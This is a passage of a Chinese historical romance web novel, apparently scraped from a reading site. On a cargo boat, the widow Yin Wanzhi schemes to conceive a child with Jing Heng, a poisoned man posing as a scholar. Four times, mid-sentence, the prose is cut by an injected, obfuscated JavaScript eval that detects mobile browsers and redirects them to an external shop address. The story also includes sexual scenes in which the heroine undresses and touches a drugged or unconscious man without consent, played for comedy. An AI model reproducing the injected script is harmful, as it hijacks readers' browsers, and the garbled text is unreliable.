“能耐顶啥用?一个得了怪病,药石罔效;另一个更绝,去年押货翻船,砸断了腿,到现在还躺床上呢!” “嚯,这命数……” “可不,如今裴家全指着这位小公子撑门面了。” 殷晚枝:“……” 她对裴昭最深的印象,还停留在六年前——那个浑身脏污、扯着她袖子讨馒头的狼狈小屁孩。 一晃眼,小屁孩都混成家主了。 世事无常。 一想到在这码头上说不定转角就能遇见熟人,紧迫感一瞬间就上来了。 殷晚枝决定等下就发船走。 要是真撞上了,她怕裴昭那睚眦必报的性子,不要体面也要报复她当年的事! 她快步回舱,打算让青杏吩咐下去,却见客舱门虚掩着。 萧先生的伤看着不算重,他自己也说能处理,她便没再多管。 可此刻推门进去,却见他整个人蜷在榻上,脸色潮红,额头渗出细密汗珠。 她伸手一探——烫得吓人。 “萧先生?”她轻轻推了推他。 景珩呼吸滚烫:“水……” 殷晚枝赶紧倒了杯水喂他喝下,又仔细查看他腰侧伤口——边缘泛着不正常的暗红色,微微肿胀。 这不是普通箭伤。 她心下一沉:“你中毒了?” 她转身想去找大夫,就听景珩艰难地点点头,声音沙哑:“热毒……不用找大夫,这毒解不了,只能扛。” 热毒? 殷晚枝一愣。 她跑船这些年,三教九流的门道见过不少,却从没听过这种毒名,不过看这症状,看着不像是什么正经毒。 “那怎么办?” “冰。”景珩闭了闭眼,额角青筋因忍耐而微微凸起,“弄些冰来,越多越好。” 殷晚枝看着他潮红的脸和紧蹙的眉头,心里那点疑虑又冒了出来——一个普通书生,怎么会招惹上这等阴毒手段? 可眼下顾不上深究。 总归现在是她看中的人,不能折在这儿。 她转身吩咐船工去岸上采买冰块,有多少要多少。 回舱时,景珩已有些意识模糊,薄唇紧抿,额发被汗水浸湿,贴在冷白的皮肤上,衣衫半敞,露出包扎过的腰侧,纱布已被血和汗浸透。 殷晚枝站在榻边看了他片刻,心头忽然冒出个大胆的念头。 这……不正是天赐良机吗? 想到裴昭那句“她和宋昱之不是什么正经夫妻”,她就恼火。 不就是膝下无子吗?她好歹打理宋家产业三年,兢兢业业,简直欺人太甚。 她目光再度落在男人身上。 宽肩窄腰,即便此刻狼狈,骨相里的清俊也半分不减。 生米煮成熟饭,怀上孩子,到时候银货两讫,各不相干,也省得她整日琢磨怎么勾引这块冰疙瘩。 “萧先生?” 她轻轻唤了两声,见人没反应,应当是昏迷了。 殷晚枝心跳快了几分,轻轻坐在榻边,伸手去解他衣襟。 指尖刚挑开腰带—— 手腕猛地被攥住! 她没想到这人居然这么警惕。 男人不知何时睁开了眼,眸底因高热而泛红,却依旧锐利如刀,像盯住猎物的猛兽。 他翻身而起,动作快得惊人,一把将她按在榻上。 沉重的身躯压下,带着灼人的体温和压迫感。 “你想做什么?”他声音低哑,带着滚烫气息扑面而来。 景珩此刻理智被灼烧着,嗅到熟悉的气味,手指不由得紧了紧。 殷晚枝被他压在身下,能清晰感受到他身体滚烫的温度和绷紧的肌肉线条。 两人挨得极近,鼻尖几乎相触。 她眨了眨眼,面不改色:“我看先生衣衫都汗湿了,想帮您换身干净的。” 景珩盯着她,眼中的墨色深得化不开。 女人身上的暖香无孔不入地充斥着周围的空气。 高热让他的呼吸又重又急,就连说话声都克制不住地发颤。 “不必。”他松开她,想撑起身子,却因脱力晃了晃,额头抵在她颈侧,他深吸一口气想要坐起来,却脱力般又栽了下去,“等子安来……叫他进来就行……” 话虽如此,可此时此刻,女人颈侧裸露出来的皮肤,对中药者来说,更像是一块上好的冷玉。 景珩只觉脑中像是有什么东西在叫嚣着,让他死死贴上去,亲吻,吮吸,然后钻进血肉,占有每一寸。 他目光开始变得幽深可怖。 殷晚枝发现了身上人明显的不对劲,颈侧被男人的唇瓣蹭得发痒。 对上那双极具侵略性的眸子,她心中咯噔一下。 这书生,床上床下还真是两幅面孔。 简直……太棒了! 机会都是留给有准备的人的,殷晚枝可不想浪费这天赐良机。 男人灼热的呼吸喷在皮肤上,激起一阵细密的战栗。 空气粘稠得化不开。 她立马抬手环住他的脖颈,整个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149159|196413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都贴了上去,带着引诱意味,声音又轻又软:“先生这么难受,不如我帮您……” 话音未落,景珩因为女人的主动靠近僵住。 就在这时—— “你们在干什么!?” 舱门“哐当”一声被撞开,沈珏惊愕的声音炸响在门口。 他手里还拎着刚买的糕点,此刻却像被雷劈中般僵在原地,眼睛瞪得溜圆。 眼前的景象实在太过香艳。 塌上两人滚作一团,衣衫凌乱,太子表哥一只手扣着宋娘子的手腕,头埋在她颈窝,而宋娘子……她领口不知何时松开了些,露出一截白皙如玉的肩颈,上面甚至能看到一抹可疑的红痕,昏暗的船舱内,几乎钻进人眼睛里。 沈珏脑子里“轰”地一声。 他直勾勾的目光落在那片瓷白的肌肤上,喉结剧烈滚动,脸瞬间涨得通红。 整个人呆若木鸡。 殷晚枝最先反应过来。 她心里一慌——方才她趁人之危的小动作,不会被看见了吧? 但只一瞬她就镇定下来,猛地将身上的人推开,动作利落地拢好衣襟,脸上恰到好处地浮起羞恼:“萧小郎君别误会,萧先生中了毒,不小心栽倒……” 想到刚刚未说完的话。 她顿了顿,飞快往外走:“先生这么难受,不如我帮忙去催催冰块。” 瞬间。 舱内只剩两个男人。 直到门被带上,沈珏才如梦初醒般回过神,手忙脚乱地关上门,还差点被门槛绊倒。 “表、表哥……”他声音发干,眼神飘忽,“你中毒了?” 景珩靠在床柱上,额发被冷汗浸湿,脸色潮红未退,呼吸依旧粗重。 他闭了闭眼,哑声道:“热毒。” 沈珏心头一凛。 热毒。又叫“一月春”,专用来抑制内力和武功的阴损玩意儿,中此毒者会燥热难耐,欲望滋生,且无药可解,只能硬扛着等药效过去。 是靖王的人。 可随即,刚才那香艳画面又不受控制地钻进脑海。 难道是杳杳姐想趁人之危?可杳杳姐看着不像那种人…… 那就是表哥想趁人之危?可表哥之前还让他离杳杳姐远点,说人家不是好人…… 沈珏脑子乱成一锅粥,眼神飘忽不定,想问又不敢问。 景珩像是看穿他心思,睁开眼,眸底血丝未退,却已恢复了几分清明冷冽。 “不该问的别问。”他声音沉冷,带着不容置疑的威压。 其实刚才女人靠近他的时候,他就察觉了。 只是热毒发作,反应迟钝了半拍,竟没能将人拦住。 若非沈珏撞破…… 景珩按了按突突直跳的太阳穴,心底那股烦躁又涌了上来。 既烦躁自己方才的失态,更烦躁那个女人——她竟真敢打这种主意。 差一点就让她得逞了。 而另一边,殷晚枝出去第一时间就去找船上通医理的老船工询问热毒。 这毒看着挺烈,也不知道能管多久? 想到刚才差点被那萧小郎君吓出心悸,殷晚枝无奈。 办这种事情果然还是得找个安稳地方。 这两人要是一直住在一起,还真不好下手。 她心中盘算一番。 13. 真烫 冰块一盆盆送进客舱。 殷晚枝站在廊下,悄声叫住正要离开的老船工刘伯,刘伯是船上资历最老的,三教九流的门道见得最多。 “刘伯,”她压低声音,“跟您打听个事儿。那‘热毒’,您可听说过?药效……能管多久?” 刘伯搓了搓粗糙的手掌,眼神闪烁:“娘子怎地问起这个?这玩意儿不干净,是江湖上下三滥用的。” “您就说您知道的不?”殷晚枝塞过去一小锭银子。 刘伯四下瞅瞅,声音压得更低:“这毒叫‘一月春’,药效霸道得很,中招的人会浑身燥热、内力滞涩,最要命的是……夜里尤其难熬。药效得持续个把月才慢慢消退。” 一个月。 殷晚枝眼睛亮了亮。 那岂不是说……她还有大把机会?这种情况下,她守株待兔都能把人吃嘴里。 甚至不需要再动手下药。 “多谢刘伯。”她心情愉悦地转身,吩咐青杏,“去,把东边那间空着的舱房收拾出来,给萧先生住。就说他受伤需要静养,原先那间太吵。” 青杏应声去了。 殷晚枝站在船头,看着码头方向。 裴家的船队还停在那里,帆旗在风中猎猎作响。 她心头那点不安又冒了出来。 好在她的船已经装完最后一批货,船老大来请示:“娘子,咱晌午就发船?” “发。”殷晚枝毫不犹豫,“一刻也别耽搁。” “好嘞!” 货船缓缓驶离码头。 殷晚枝看着渐渐远去的宁州城,轻轻松了口气。 只是,她不知道的是,船离开宁州码头半个时辰后,几个黑衣人匆匆赶到。 他们看着空荡荡的泊位,脸色阴沉。 “人呢?” “走了。”其中一个黑衣人低声道,“刚走不久。” “追!” “等等。”为首那人抬手制止,“现在追上去太显眼。去查查这是谁的船。” “已经查了,是江宁宋家旁支的商船,主事的是个姓宋的寡妇。” “寡妇?”为首那人皱眉,“一个寡妇,买那么多冰做什么?” “说是……船上上的货要。” 几个黑衣人对视一眼,都觉得蹊跷。 “回去禀报主子。”为首那人当机立断,“这船有问题。” 殷晚枝并不知道自己已经被盯上了。 船行江上,她正在安排景珩换舱房。 景珩坐在榻上,腰侧伤口已重新包扎过,脸色虽还苍白,精神却好了不少。 “不必麻烦。”他淡声道,“这里挺好。” “不麻烦。”殷晚枝笑容温婉,“西边那间舱房就在我隔壁,夜里若有什么事,叫我也方便。” 景珩抬眸看她。 她站在光影里,眉眼柔和。 眼下他伤势未愈,热毒未解,确实需要个安静的地方休养,西边那间舱房他也知道,确实比这里安静。 “那就多谢宋娘子了。”他微微颔首。 “先生客气。” 很快,沈珏收拾好东西,扶着景珩去了西边舱房。 这间舱房果然清静,窗外就是江水,风景也好,唯一不好的是,主舱就在隔壁。 夜里,江风透过窗缝吹进来,带着水汽的凉意。 景珩很快就后悔搬过来了,他躺在榻上,伤口还在隐隐作痛,热毒带来的燥热又开始翻腾。 他闭着眼,强迫自己静心。 隔壁忽然传来轻微的响动,是开门声,然后是脚步声,很轻,像是赤脚踩在木板上。 景珩睁开眼。 木板墙不隔音,他能清晰听见隔壁的动静。 有水声,应该是她在倒水。 然后是窸窸窣窣的声音,像是脱衣服。 景珩喉结滚动了一下,别开脸。 可声音还是源源不断地传过来。 她似乎在哼着小调,调子轻快,是江南民间的小曲。 歌声婉转,带着点慵懒的媚意。 景珩闭上眼,可那歌声却像长了脚,直往他耳朵里钻。 热毒带来的燥热越发难耐。 他翻了个身,伤口被牵扯,疼得他闷哼一声。 隔壁的歌声停了。 片刻后,有敲门声响起,很轻。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149160|196413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “萧先生?”殷晚枝的声音隔着门板传来,“你没事吧?” 景珩没应声。 门外安静了一会儿,然后,门被轻轻推开了。 殷晚枝披着件外衫,头发松松绾着,手里端着盏油灯,站在门口。 “我听见动静,不放心。”她走进来,将油灯放在桌上,昏黄的光晕铺开一室暖意。 景珩撑起身,墨发披散在肩头,中衣微敞,露出锁骨和一小片紧实胸膛。 他面色潮红未退,眼底带着血丝,在摇曳灯火下竟有种惊心动魄的破碎感。 “我没事。”他声音沙哑。 殷晚枝走到榻边,很自然地伸手探他额头:“还这么烫。” 她的指尖微凉,触在他滚烫的皮肤上,带来一阵战栗。 景珩下意识想躲,却硬生生忍住。 “要喝水吗?”她问。 “……嗯。” 殷晚枝转身去倒水,背影在光影里勾勒出纤细腰身。 她没穿鞋,赤足踩在木板上,足踝白皙玲珑。 景珩别开眼,喉结却不受控制地滚动。 水递到唇边,他接过杯子,指尖无意擦过她的手背。 两人都顿了顿。 “宋娘子,”景珩喝完水,将杯子放在床边小几上,抬眼看她,“夜深了,你该回去休息。” 殷晚枝却没动。 她在榻边坐下,距离近得能闻到他身上清冽的气息和淡淡的伤药味,混着热毒带来的燥热,形成一种奇异的令人心跳加速的氛围。 “刘伯说,这热毒叫‘一月春’。”她忽然开口,声音很轻,“药效要持续一个月,夜里尤其难熬。” 景珩眸光一沉。 她知道了。 “所以呢?”他声音冷了下来。 殷晚枝抬起眼,眸子里映着跳跃的烛火,亮得惊人:“所以我在想,先生这一个月,要怎么熬过去。” 她说着,伸手去碰他腰侧的纱布:“伤口还疼吗?” 景珩一把抓住她的手腕。 他盯着她,眼底翻涌着压抑的暗流:“你到底想做什么?” “我想帮你。” 14. 冰水 “为什么?”景珩盯着她,声音沙哑。 殷晚枝被他问得一愣。 他握着她的手腕,力道不大,却不容挣脱,那双眼在昏暗光线下亮得惊人,像要把她看穿。 “因为像你亡夫?”他追问,声音里带着自己都没察觉的冷意,“还是宋娘子只是单纯想找个慰藉?” 殷晚枝没想到他还记得这茬。 当时她说他像亡夫,不过是想找个借口接近,毕竟认识没几天,若突然表现得太热情,难免惹人生疑。 她脑中飞速运转,试图糊弄一下蒙混过关。 “当然不是……” 景珩盯着女人近在咫尺的红唇。 那两片柔软饱满的唇瓣一张一合,还在说着什么,可他一个字都听不进去了。 也不想听。 这种时候他不想从她嘴里听见其他人的名字。 体内翻腾的燥热,此刻像燎原之火。 他只想堵住这张总是说出暧昧话语的嘴,让她不能再扰乱他的心绪。 “唔……” 他猛地倾身,狠狠吻了下去。 这个吻完全没有章法,纯粹是就着蛮力,撬开女人的唇齿,长驱直入。 殷晚枝被他突如其来的动作弄得惊呼一声,手下意识抵在他胸膛,却推不开分毫,只能感受到掌心灼热。 “嗯?!” 男人的吻凶猛而霸道,完全不像他平日里那副清冷疏离的模样,滚烫的舌在她口中攻城略地,掠夺每一寸。 唇舌交缠,气息交融。 起初的震惊过后,殷晚枝很快反应过来——这不正是她想要的机会吗? 她放松了身体,闭上眼,手臂顺势环上他的脖颈,开始回应这个吻,男人几乎将她整个人笼罩在身下,大掌顺着她的脊背寸寸摩挲,让她忍不住浑身战栗。 这个吻持续了很久,久到殷晚枝被吻得浑身发软,眼中蒙起水雾,冷白的皮肤都染上一层绯色,带着撩人的欲。 她甚至能感觉到身体深处升起一股陌生的情.动,让她忍不住收紧手臂,将身体更贴近他。 男人却没有进一步的举动。 他只是吻她,扣在她腰间的手逐渐收紧,却没有更多动作。 殷晚枝有些急了。 她喘.息着,一只手从他脖颈滑下,试探性地去解他腰间的系带。 指尖刚触到那处—— 手腕猛地被攥住。 景珩一把将她的手扣过头顶,按在榻上,这才松开吻住她的唇。 他居高临下地看着她,眼底翻涌着汹涌的欲望,却还残留着一丝挣扎的清明。 殷晚枝仰躺在榻上,唇瓣红肿不堪,沾着晶莹的液体,整个人展露出一种从未有过的糜艳风情,衣襟因刚才的动作而微敞,露出白皙的锁骨和一抹诱人的弧度。 她喘息着,不解地看着他:“怎么了……” 为什么停下? 景珩没有回答。 他只是盯着她看了片刻,那双染着情欲的眼睛里,有挣扎,有恼怒,还有一种连他自己都不愿承认的动摇。 然后,他猛地起身,将她一把打横抱起。 “你……”殷晚枝惊呼一声。 景珩抱着她,大步走向舱房角落——那里放着一盆用来降温的冰水。 冰已化了大半,水面上还浮着几块碎冰。 在殷晚枝还没反应过来时,他抱着她,直接跨进了水盆。 哗啦—— 水花四溅。 冰凉的水瞬间浸透两人的衣衫。 殷晚枝浑身一激灵,倒抽一口冷气:“你疯了!” 虽然是化开的冰水,已经不那么刺骨,但骤然浸入,还是让她打了个寒颤。 景珩抱着她站在水盆里,冰冷的触感透过湿透的衣衫传来,终于暂时压制了体内那股灼热的邪火。 但直到此时他才真正意识到,自己心脏跳得有多快。 目光落在女人红肿的唇瓣,艳色的吻痕,他闭了闭眼,深吸一口气,试图让自己清醒些。 他告诉自己,这不过是因为热毒发作,才会对这女人产生欲望。 他怎么可能会喜欢这种轻浮又满心算计的女子? 怎么可能呢? 不可能。 但是此时热浪一波又一波冲击着混沌的大脑,他甚至不清楚自己在做什么。 完全凭着本能行事。 他忍不住想要贴近身前熟悉的气息,将人狠狠圈进自己怀中,直至融为一体。 殷晚枝在水里扑腾了两下,一把推开还想往自己身上蹭的人,恼火地瞪着他。 亲也亲了,抱也抱了,现在把她扔冷水里? 这是什么道理! 真当她没脾气吗? 她刚要发作,却见景珩脸色忽然变了。 他唇色发白,额头上渗出一层冷汗,身体晃了晃,然后晕了过去。 殷晚枝:“?” 不是,她不就推了一把吗?刚才亲那么激烈都没晕,现在晕了? 装的吧,她泄愤似的一巴掌扇在男人脸上。 纹丝不动。 真晕了。 殷晚枝简直气笑了,早不晕晚不晕,专门挑着这个时候晕是吧? - 另一边,宁州醉春楼雅间。 裴昭斜倚在铺着雪狐皮的软榻上,指尖把玩着一枚羊脂玉佩,漫不经心地听着下人的禀报。 “……靖王府的人下午来过,”管事垂首道,“说是要咱们帮忙寻一艘船。江宁宋家旁系的商船,往徽州去的,船上近日大量采买了冰块。” 裴昭挑眉:“采买冰块?这天气?” “是,听着蹊跷。靖王府的人没说缘由,只让咱们留意。” 管事顿了顿,试探道:“公子,咱们……要真帮他们找吗?” 裴昭轻笑一声,眼底却没什么温度。 他和靖王,不过是面上合作罢了,靖王想借裴家的漕运网络寻人,他想借靖王的势在江南站稳脚跟,各取所需,谁也别当真。 “随便应付应付便是。”他懒懒道,“打发几个人去码头问问,做做样子。” “是。” 管事正要退下,门外忽然有侍卫匆匆进来,递上一封密信。 “公子,江宁来的消息。” 裴昭接过信,拆开扫了一眼。 只一眼,他脸上那点漫不经心的笑意便凝固了。 信是安插在宋家的眼线送来的,寥寥数语:夫人已离江宁,携重金往徽州,据称为宋昱之求药。 徽州。 求药。 为了那个病秧子。 裴昭盯着那几行字,指节一点点收紧,信纸在指尖皱成一团。 还真是爱得深沉啊。 但他费尽心思放眼线过去,可不是为了看这两人如何“鹣鲽情深”的。 “公子?”管事见他脸色不对,小心翼翼地问。 裴昭没应声。 他缓缓将皱成一团的信纸展开,就着桌上的烛火点燃,火苗舔舐纸页,迅速吞噬掉那些刺眼的字句。 火光映在他脸上,明暗交错,衬得那双桃花眼幽深得骇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149161|196413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人。 书房里安静得吓人,只有信纸燃烧的噼啪声。 许久,他松开手,任由最后一点灰烬飘落在地。 “备船。” 他开口,声音平静,却带着一股令人不寒而栗的冷意。 管事一愣:“公子,您明日不是要启程去雍州谈那批丝绸……” “不去了。”裴昭站起身,走到窗边,望着窗外沉沉夜色,“跟靖王府的人说,不就是徽州吗?我亲自去。” 管事心头一跳:“公子,这……” “怎么?靖王殿下要找人,我裴家自然要尽心尽力,亲自跑一趟,才显得诚意足,不是吗?” “对了,换搜小船,越快越好。” 少年脸上依旧是那副肆意慵懒的笑,只是眸子里冷沉如冰。 管事只觉这笑瘆人得很,明显又要有人遭殃了,于是连连躬身道:“是,老奴这就去安排。” - 景珩昏迷了一整夜,到第二天午后还没醒。 殷晚枝不得不亲自照顾。 她坐在榻边,一边翻看着账册,一边用湿帕子给他擦拭额头。 账册上,冰块采买的条目格外醒目——价格高得让她肉疼。 这一趟出来,光是为了给他降温,就花了寻常商船半个月的开销。 她放下账册,目光落在榻上的男人身上。 因高热而苍白的脸色,反而衬得他五官更加深邃俊美,长睫在眼下投出淡淡阴影,薄唇因缺水而微微干裂。 比起宋昱之那种常年病弱的苍白,景珩的身形显然要结实许多,即便此刻昏迷,肩背线条依旧流畅有力,胸膛随着呼吸微微起伏。 殷晚枝不得不承认,她很喜欢这张脸。 可喜欢归喜欢,现实问题还是要面对。 她开始怀疑——这人是不是不行? 昨天明明箭在弦上,他居然能硬生生停下来,还把她扔冷水里。 虽说那补身子的药膳在他中毒后就停了,可之前那些银子可是实打实砸进去了的。鹿茸、海马、牡蛎粉……哪一样不是好东西? 这么一想,殷晚枝心情瞬间不美好了。 时间本来就宝贵,船上这一个月是她最后的机会。 要是真不行,她岂不是白忙活一场? 她盯着榻上昏迷的男人,一个大胆的念头冒了出来。 趁他昏迷…… 看一眼? 就一眼。 反正昨天该亲的亲了,该抱的抱了,就差最后一步。 殷晚枝心跳快了几分。 她放下湿帕子,四下看了看——舱门关着,青杏去煎药了,萧小郎君在甲板上打扫。 没人。 她深吸一口气,伸出手,轻轻搭在景珩的腰带上。 指尖有些抖。 解开第一个。 然后是第二个。 男人的呼吸平稳悠长,显然还在昏迷中。 殷晚枝咬了咬牙,一鼓作气将外裤褪下些许—— 她愣住了。 即便只是匆匆一瞥,即便没看见全貌,那惊鸿一瞥的轮廓和分量也足够让她倒抽一口冷气。 不仅行。 而且……相当行。 殷晚枝脸颊瞬间涨红,慌忙将裤子拉回去,手忙脚乱地给他系腰带。 可越是慌张,手指越是不听使唤。 盘扣怎么也扣不回去。 就在这时—— “你在做什么?” 低沉沙哑的声音从头顶传来。 殷晚枝浑身一僵。 15. 画押 景珩不知何时醒了,正静静看着她。 他脸色依旧苍白,可那双眼睛清明锐利,还带着一丝极淡的羞恼。 殷晚枝保持着半趴在他身上的姿势,一只手搭在他腰间,一时间,进也不是退也不是。 空气死寂。 他再次重复:“你在做什么?” “我……咳咳。”殷晚枝摸摸鼻子,略显尴尬,“我在……检查伤口。” 景珩没说话,眸光森寒,明显不信。 “检查伤口,需要解到这里?” 他缓缓开口,声音因高热而沙哑,却隐隐透出一股寒意。 男人腰下外裤的系带松垮,露出里面半截白色中裤,往上是一截紧实漂亮的腰腹。 殷晚枝脸颊滚烫。 她脑子飞快转动,想找个更合理的借口,却发现任何说辞在此刻都苍白无力,索性抬眼直视他。 “我想做什么,萧先生难道不清楚?” 景珩身体骤然绷紧。 “昨日的事,我可以当没发生过。”他声音冷了下来,“但请宋娘子自重,莫要再做这种逾矩之事。” “逾矩?”殷晚枝笑了,那笑容带着讥诮,“萧先生昨日吻我的时候,怎么不说逾矩?” “那是毒发,神志不清。” “毒发?”殷晚枝挑眉,忽然俯身凑近他。 两人的距离瞬间拉近,呼吸相闻。 她盯着他的眼睛,手顺着他的腰侧滑下,隔着薄薄的中衣,精准地按在他腿间。 那里,早已起了反应。 “那现在呢?”她指尖不轻不重地按了按,感觉到手下的肌肉瞬间绷紧,“现在也是毒发?” 景珩呼吸一窒。 他猛地抓住她的手腕,力道大得她骨头生疼。 “松手。” 他声音低哑,眼底翻涌着危险的风暴。 殷晚枝却没松。 景珩盯着她,眼底暗流翻涌,像是终于撕开了那层清冷自持的伪装,露出内里深不见底的暗色。 “你究竟想怎样?”他声音嘶哑。 殷晚枝手腕吃痛,却依旧仰着脸:“我心悦萧先生,这还不够明白?” “心悦我?”景珩重复了一遍,眼神锐利,“那你的亡夫呢?宋娘子不是说,我像他?” 殷晚枝早有准备。 她垂下眼,声音低了下去:“是,你确实有几分像他……可你是你,他是他,我分得清。” 她抬起眼,眼眶微微泛红:“若我真把你当他的替身,何苦这般……自轻自贱?” 这话说得情真意切,带着恰到好处的委屈。 景珩没说话,只静静看着她。 舱内安静得可怕,只有两人交缠的呼吸声。 许久,景珩才开口,声音平静得听不出情绪:“宋娘子,我不日就会下船,你我萍水相逢,就算真有什么,也不会有结果。” 他顿了顿,盯着她的眼睛:“如此,你还要说心悦我?” 殷晚枝心头一紧。 这是要摊牌了。 她咬了咬唇,迎上他的视线:“心悦便是心悦,哪管什么结果不结果?萧先生是读书人,将来前途无量,我自知配不上。可这份心意,是真的。” 她说着,眼里适时泛起水光,一副情难自抑的模样。 景珩看了她很久。 久到殷晚枝觉得头皮发麻,几乎要撑不住这场戏。 他突然轻笑了一声。 “好啊。” ? 殷晚枝一愣。 什么好?好什么? 景珩抬手,捏住她的下巴,迫使她抬起头看他。 “既然宋娘子心悦我,”他缓缓道,声音低沉,“那等我下船后,雍州游学一段时日,届时,宋娘子跟我走如何?” 殷晚枝彻底懵了:“…啊?” 事情发展完全出乎她的意料。 跟他去雍州?他疯了还是她疯了? 她南下为的是借种保全自己后半生的荣华富贵,可不是为了和穷书生私奔的! 心中顿时警铃大作,当初选这人的决定是不是错了?还在他身上浪费这么多时间、银钱…… 可不答应,眼看到手的鸭子就要飞了 她脸上迟疑的神色太过明显。 景珩捏着她下巴的力道重了两分,将她的脸掰正,迫使她看着自己:“怎么?方才不是还说‘心悦’?转眼便迟疑了?” 他靠得更近,气息灼热:“宋杳。” 这是他第一次连名带姓地叫她。 “我这个人,”他声音压得极低,带着某种危险意味,“不喜欢被戏弄。” 殷晚枝背脊窜上一股凉意。 她甚至觉得这人故意的。 看出她的“心悦”掺假,所以用这话来逼她,试探她,或者……单纯是恶劣地想看她进退维谷。 她咬了咬牙。 罢了,先答应下来。 反正只是口头承诺,届时她大可以寻个借口反悔,先把人哄到手,怀上孩子再说。 打定主意,殷晚枝面上立马扯出抹笑:“真的吗?那真是太好了,没想到萧先生会答应,我一时高兴昏了头……先生不要怪我才好。” 景珩盯着她的眼睛,试图从中找出破绽。 可那双眸子水光潋滟,除了羞怯和情意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149162|196413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,什么也看不出。 他松开捏着她下巴的手,指腹却缓缓擦过她的脸颊,留下一道微烫的触感。 “怎会。”他声音听不出喜怒,只是幽幽道,“那便说定了。” 殷晚枝总感觉今日的萧先生过于强势,准确来说是自从中了热毒就这般了。 明明先前整个人气质清冷出尘,眼下却带着点蛊惑人的意味,特别对上那双染上欲望的琉璃眸,她喉间无意识吞咽。 这药的效力还真是强。 好在,听见那句“那便说定了”,她松了口气。 “不过,”景珩话锋一转,手指顺着她的脸颊滑到颈侧,停留在那处昨晚留下的淡红吻痕上,轻轻摩挲,“口说无凭。” 这动作太暧昧,带着掌控的意味,令殷晚枝心尖微颤,呼吸都乱了一拍。 两人之间攻守之势微妙转换,她能感觉到自己身体深处升腾起的渴望,真想现在就把事情办了,一了百了。 正想着,就听见男人轻笑:“宋娘子既心悦于我,总该有些凭据。” “先生想要什么?” 殷晚枝稳住心神,浅笑,大抵是些金银钱财,她最不缺的就是这些,也不吝啬给。 结果却见男人开始掏笔墨纸砚。 “既如此,便立字为据。” 殷晚枝:“……” 这种事也要立字据?是怕她事后抵赖不成? 她暗自咬牙,反正今日话已出口,再添张纸也无妨。 提笔便写:“妾宋氏,心悦萧郎……” 笔尖才落,“萧”字未成,手背便覆上一片温热。 “错了。” 景珩握住她的手,墨点在纸上晕开一团。 他换过新纸,掌心裹着她的手,重新落笔,笔尖游走,写的却是“行止”二字。 殷晚枝正心虚,也未多问,只当他是想显得亲密些。 任由他引着自己的手,一笔一划写完:“妾宋氏杳,心悦行止,此心天地可鉴,自愿立此为凭。” 写完,还需按印。 殷晚枝蘸了印泥,指尖朱红,莫名烫手,她这辈子还没写过这么肉麻直白的话,写完她就后悔了,这要是落在别人手里简直跟把柄没什么两样。 可身后人完全没给她反悔的机会。 直到在“宋杳”二字旁按下指印,看着这熟悉又陌生的名字,她又释然了。 ——宋杳许的诺,与她殷晚枝何干? 景珩将纸笺折起,收入怀中贴身之处。 抬眸看她时,眼底似有深意掠过,快得让人抓不住。 “字据我收了。”他声音低缓,“望娘子……言出必践。” 16. 杳杳 殷晚枝看着他将字据贴身收好,心下那点蠢蠢欲动又冒了头。 既然字都立了,心意也表明了,那眼下这大好时机…… 她抬眼,望向他,指尖悄悄攀上他未系好的衣襟。 景珩眸色一深。 女人的意图明晃晃写在眼底,想到她方才的躲闪迟疑,他心中升腾起一股无名烦闷。 他忽然不想让她太快得逞。 至少不是现在。 景珩抬手,轻易捉住她作乱的手腕,声音却比方才温和些许:“急什么?” 殷晚枝挣了挣,没挣脱,反而被他顺势一带,整个人跌坐到他腿上。 这姿势太过亲密,她甚至能清晰感受到腿上传来的热度和力量,她脸颊微红,心跳莫名快了几拍。 景珩垂眸看她,指尖抚上她微肿的唇瓣,轻轻摩挲。 殷晚枝仰起脸凑上去吻他。 即将触碰时,景珩却微微后仰,避开了。 她扑了个空,上半身瞬间重心不稳朝男人身上栽去。 下一瞬,两人紧密相贴。 扑通——扑通—— 就连心脏的声音都清晰可闻。 意识到被耍,殷晚枝气道:“萧先生这是什么意思?” “叫我行止。” 景珩吻上去,堵住女人还想说的话,他头一次觉得假名字刺耳,特别是在做这种事时。 